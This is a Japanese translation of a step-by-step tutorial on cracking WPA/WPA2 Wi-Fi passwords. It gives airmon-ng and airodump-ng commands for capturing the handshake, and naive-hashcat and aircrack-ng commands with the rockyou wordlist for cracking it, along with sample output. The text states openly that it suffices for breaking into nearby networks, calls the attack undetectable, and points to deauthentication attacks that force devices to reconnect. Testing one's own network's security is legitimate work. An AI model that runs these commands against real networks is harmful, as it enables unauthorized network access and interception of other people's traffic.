
WPA/WPA2 Wi-FiルーターをAirodump-ngとAircrack-ng/Hashcatでクラックする
Airodump-ng と Aircrack-ng/Hashcat を使って WPA/WPA2 Wi-Fi ルーターをクラックします。
これは、脆弱なパスワードで保護された Wi-Fi ネットワークをクラックする方法を説明する簡単なチュートリアルです。網羅的ではありませんが、自分のネットワークのセキュリティをテストしたり、近くのネットワークに侵入したりするのに十分な情報を提供します。以下で説明する攻撃は完全に受動的(コンピュータから何もブロードキャストせず、傍受のみ)であり、クラックしたパスワードを実際に使用しない限り、検出することは不可能です。オプションの能動的な非認証攻撃を使用して偵察プロセスを高速化することもできます。これについては、このドキュメントの最後で説明します。
このプロセスに精通している場合は、説明を飛ばして、下部にあるコマンド一覧に進んでください。様々な提案や代替方法については、付録を参照してください。neal1991 と tiiime が、このドキュメントと付録の中国語翻訳も親切に提供してくれています。
免責事項: このソフトウェア/チュートリアルは教育目的のみです。違法行為に使用すべきではありません。作者はその使用について一切責任を負いません。クソ野郎にならないでください。
このチュートリアルは、以下のことを前提としています。
sudo apt-get install aircrack-ngまず、モニターモードをサポートするワイヤレスインターフェースをリストアップします。
airmon-ng
インターフェースが表示されない場合、ワイヤレスカードはモニターモードをサポートしていません 😞
ここではワイヤレスインターフェース名を wlan0 と仮定しますが、異なる場合は正しい名前を使用してください。次に、インターフェースをモニターモードにします。
airmon-ng start wlan0
iwconfig を実行します。新しいモニターモードのインターフェースがリスト表示されるはずです(おそらく mon0 または wlan0mon)。
モニターインターフェースを使用して、近くのワイヤレスルーターがブロードキャストする 802.11 Beacon フレームのリッスンを開始します。
airodump-ng mon0
以下のような出力が表示されるはずです。
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
このデモでは、自分のネットワーク "hackme" のパスワードをクラックすることにします。airodump-ng で表示された BSSID MAC アドレスとチャンネル番号(CH)を覚えておいてください。次のステップで両方必要になります。
WPA/WPA2 は、4ウェイハンドシェイクを使用してデバイスをネットワークに認証します。これの意味を知っている必要はありませんが、ネットワークパスワードをクラックするには、このハンドシェイクのいずれかをキャプチャする必要があります。これらのハンドシェイクは、隣人が仕事から帰宅したときなど、デバイスがネットワークに接続するたびに発生します。前のコマンドで見つけたチャンネルと bssid 値を使用して、airmon-ng にターゲットネットワーク上のトラフィックを監視させることで、このハンドシェイクをキャプチャします。
# -c と --bssid の値はターゲットネットワークの値に置き換えてください
# -w はパケットキャプチャを保存するディレクトリを指定します
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
さあ、待ちましょう... ハンドシェイクをキャプチャすると、画面の右上、現在時刻のすぐ右に [ WPA handshake: bc:d3:c9:ef:d2:67 のようなものが表示されるはずです。
もし気が短くて、アクティブ攻撃を使用しても構わないのであれば、接続されているデバイスに悪意のある非認証パケットを送信して、ターゲットネットワークに接続されているデバイスを強制的に再接続させることができます。これにより、多くの場合、4ウェイハンドシェイクがキャプチャされます。詳細については、以下の非認証攻撃のセクションを参照してください。
ハンドシェイクをキャプチャしたら、ctrl-c を押して airodump-ng を終了します。airodump-ng にキャプチャを保存するよう指定した場所に .cap ファイルがあるはずです(おそらく -01.cap という名前です)。このキャプチャファイルを使用してネットワークパスワードをクラックします。私は、クラックしようとしているネットワーク名を反映するようにこのファイルの名前を変更するのが好きです。
mv ./-01.cap hackme.cap
最後のステップは、キャプチャしたハンドシェイクを使用してパスワードをクラックすることです。GPU が利用できる場合は、パスワードクラックに hashcat を使用することを強くお勧めします。私は naive-hashcat という、hashcat を非常に簡単に使用できるツールを作成しました。GPU が利用できない場合は、GPUHASH.me や OnlineHashCrack などのオンライン GPU クラックサービスを利用できます。また、Aircrack-ng を使用して CPU でのクラックに挑戦することもできます。
以下の両方の攻撃方法は、比較的弱いユーザー生成パスワードを前提としていることに注意してください。ほとんどの WPA/WPA2 ルーターには、多くのユーザーが(当然ながら)そのままにしている強力な12文字のランダムパスワードが付属しています。これらのパスワードのいずれかをクラックしようとする場合は、Probable-Wordlists WPA-length 辞書ファイルを使用することをお勧めします。
naive-hashcat を使用したクラック(推奨)naive-hashcat を使用してパスワードをクラックする前に、.cap ファイルを同等の hashcat ファイル形式 .hccapx に変換する必要があります。これは、.cap ファイルを https://hashcat.net/cap2hccapx/ にアップロードするか、cap2hccapx ツールを直接使用することで簡単に実行できます。
cap2hccapx.bin hackme.cap hackme.hccapx
次に、naive-hashcat をダウンロードして実行します。
# ダウンロード
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# 134MB の rockyou 辞書ファイルをダウンロード
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# クラック!baby!クラック!
# 2500 は WPA/WPA2 の hashcat ハッシュモードです
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat は、さまざまな辞書攻撃、ルール攻撃、組み合わせ攻撃、マスク攻撃(スマートブルートフォース)を使用し、中程度の強度のパスワードに対しては、実行に数日または数か月かかることもあります。クラックされたパスワードは hackme.pot に保存されるので、このファイルを定期的に確認してください。パスワードがクラックされると、POT_FILE の内容は次のようになります。
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
ここで、: で区切られた最後の2つのフィールドは、それぞれネットワーク名とパスワードです。
naive-hashcat を使わずに hashcat を使用したい場合は、このページを参照してください。
Aircrack-ng は、CPU 上で実行する非常に基本的な辞書攻撃に使用できます。攻撃を実行する前に、ワードリストが必要です。有名な rockyou 辞書ファイルを使用することをお勧めします。